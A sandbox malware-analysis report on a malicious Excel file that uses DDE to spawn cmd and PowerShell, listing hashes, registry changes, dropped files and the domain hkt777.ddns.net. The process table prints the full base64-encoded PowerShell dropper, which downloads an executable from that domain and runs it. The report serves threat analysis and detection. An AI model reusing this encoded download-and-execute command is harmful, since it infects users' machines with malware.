File name: | fb43055d9b1799f2f68005aac565dede.xls |
Full analysis: | https://app.any.run/tasks/887ee892-81dc-4cee-9c92-6dfcfef5dcfa |
Verdict: | Malicious activity |
Analysis date: | March 15, 2019, 03:47:15 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: Packard bell, Last Saved By: Packard bell, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Mar 13 04:14:01 2019, Last Saved Time/Date: Wed Mar 13 04:14:02 2019, Security: 0 |
MD5: | FB43055D9B1799F2F68005AAC565DEDE |
SHA1: | 92A5DE7079D8B8D6A99749CBAC9C5041FE5A5B20 |
SHA256: | 8E48A5460931474126F75031162DA402401FC23698E91A3107C2083F73035960 |
SSDEEP: | 1536:4k3hOdsylKlgryzc4bNhZFGzE+cL2knAfiCdnlzMQRT26pdwiYJxgzAp4HJvq4a5:4k3hOdsylKlgryzc4bNhZFGzE+cL2knF |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
CompObjUserType: | Microsoft Excel 2003 Worksheet |
---|---|
CompObjUserTypeLen: | 31 |
HeadingPairs: |
|
TitleOfParts: | Sheet1 |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 15 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
ModifyDate: | 2019:03:13 04:14:02 |
CreateDate: | 2019:03:13 04:14:01 |
Software: | Microsoft Excel |
LastModifiedBy: | Packard bell |
Author: | Packard bell |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2800 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 4294967295 Version: 14.0.6024.1000 | ||||
3204 | "C:\Windows\System32\cmd.exe" & /C POwERSHeLl -E ZgB1AG4AYwB0AGkAbwBuACAASAB1ADIAZwBqAEgASwBYAFcATgA3AGIAUgBtAHkARwBKAFUAYQBpAFoAZwAzAF8ATQBhAHQASQAgACgAIAAkAEwATgBPAE8AOQBGAHMATAA0AE8ATgBSAF8AYgBvAGwAVgBxAHEAdgAyADMASQAgACwAIAAkAEoAYQBrADIAdwBSAEcAWABCAFIAWQBCAHEASwBCAG0AcQBXADcAYQBKAFMAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJABMAE4ATwBPADkARgBzAEwANABPAE4AUgBfAGIAbwBsAFYAcQBxAHYAMgAzAEkAIAAsACAAJABKAGEAawAyAHcAUgBHAFgAQgBSAFkAQgBxAEsAQgBtAHEAVwA3AGEASgBTACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAEoAYQBrADIAdwBSAEcAWABCAFIAWQBCAHEASwBCAG0AcQBXADcAYQBKAFMAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgBrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIABFAFgAQwBFAEwAOwAgAA0ACgAkAEoAQwBWAHcAVgBDAF8AQwBVAEUAeABYAFAAZwBOAFcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXABWAE8ARgAzAFIAQQB6AEUAeAAuAGUAeABlACcAOwANAAoASAB1ADIAZwBqAEgASwBYAFcATgA3AGIAUgBtAHkARwBKAFUAYQBpAFoAZwAzAF8ATQBhAHQASQAgACcAaAB0AHQAcAA6AC8ALwBoAGsAdAA3ADcANwAuAGQAZABuAHMALgBuAGUAdAAvADQAQgAxADQARAAyADAALgBlAHgAZQAnACAAJABKAEMAVgB3AFYAQwBfAEMAVQBFAHgAWABQAGcATgBXADsADQAKAA0ACgB9AGMAYQB0AGMAaAB7AH0A | C:\Windows\System32\cmd.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3756 | POwERSHeLl -E ZgB1AG4AYwB0AGkAbwBuACAASAB1ADIAZwBqAEgASwBYAFcATgA3AGIAUgBtAHkARwBKAFUAYQBpAFoAZwAzAF8ATQBhAHQASQAgACgAIAAkAEwATgBPAE8AOQBGAHMATAA0AE8ATgBSAF8AYgBvAGwAVgBxAHEAdgAyADMASQAgACwAIAAkAEoAYQBrADIAdwBSAEcAWABCAFIAWQBCAHEASwBCAG0AcQBXADcAYQBKAFMAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJABMAE4ATwBPADkARgBzAEwANABPAE4AUgBfAGIAbwBsAFYAcQBxAHYAMgAzAEkAIAAsACAAJABKAGEAawAyAHcAUgBHAFgAQgBSAFkAQgBxAEsAQgBtAHEAVwA3AGEASgBTACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAEoAYQBrADIAdwBSAEcAWABCAFIAWQBCAHEASwBCAG0AcQBXADcAYQBKAFMAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgBrAGkAbABsACAALQBwAHIAbwBjAGUAcwBzAG4AYQBtAGUAIABFAFgAQwBFAEwAOwAgAA0ACgAkAEoAQwBWAHcAVgBDAF8AQwBVAEUAeABYAFAAZwBOAFcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXABWAE8ARgAzAFIAQQB6AEUAeAAuAGUAeABlACcAOwANAAoASAB1ADIAZwBqAEgASwBYAFcATgA3AGIAUgBtAHkARwBKAFUAYQBpAFoAZwAzAF8ATQBhAHQASQAgACcAaAB0AHQAcAA6AC8ALwBoAGsAdAA3ADcANwAuAGQAZABuAHMALgBuAGUAdAAvADQAQgAxADQARAAyADAALgBlAHgAZQAnACAAJABKAEMAVgB3AFYAQwBfAEMAVQBFAHgAWABQAGcATgBXADsADQAKAA0ACgB9AGMAYQB0AGMAaAB7AH0A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
Operation: | write | Name: | -$ |
Value: 2D242400F00A0000010000000000000000000000 | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: On | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel |
Operation: | write | Name: | MTTT |
Value: F00A000060F9B3D7E1DAD40100000000 | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
Operation: | delete value | Name: | -$ |
Value: 2D242400F00A0000010000000000000000000000 | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
Operation: | delete key | Name: | |
Value: | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency |
Operation: | delete key | Name: | |
Value: | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | AutoDetect |
Value: 1 | |||
(PID) Process: | (2800) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\19988E |
Operation: | write | Name: | 19988E |
Value: 04000000F00A00004600000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00660062003400330030003500350064003900620031003700390039006600320066003600380030003000350061006100630035003600350064006500640065002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000403FB9D9E1DAD4018E9819008E98190000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2800 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR909D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3756 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NVRB2UF2BTZXDSBKNDZE.temp | — | |
MD5:— | SHA256:— | |||
2800 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFB91DBF48FAF3A8E2.TMP | — | |
MD5:— | SHA256:— | |||
3756 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF199e2a.TMP | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
3756 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
2800 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF84A4494609E7D2BE.TMP | document | |
MD5:AE7B255CA955F934B1C6A6F407A0BA92 | SHA256:98D759244B0845C381B679D64CA6802849DDD7798E676F87A270293BF3BDF47C |
Domain | IP | Reputation |
---|---|---|
hkt777.ddns.net |
| malicious |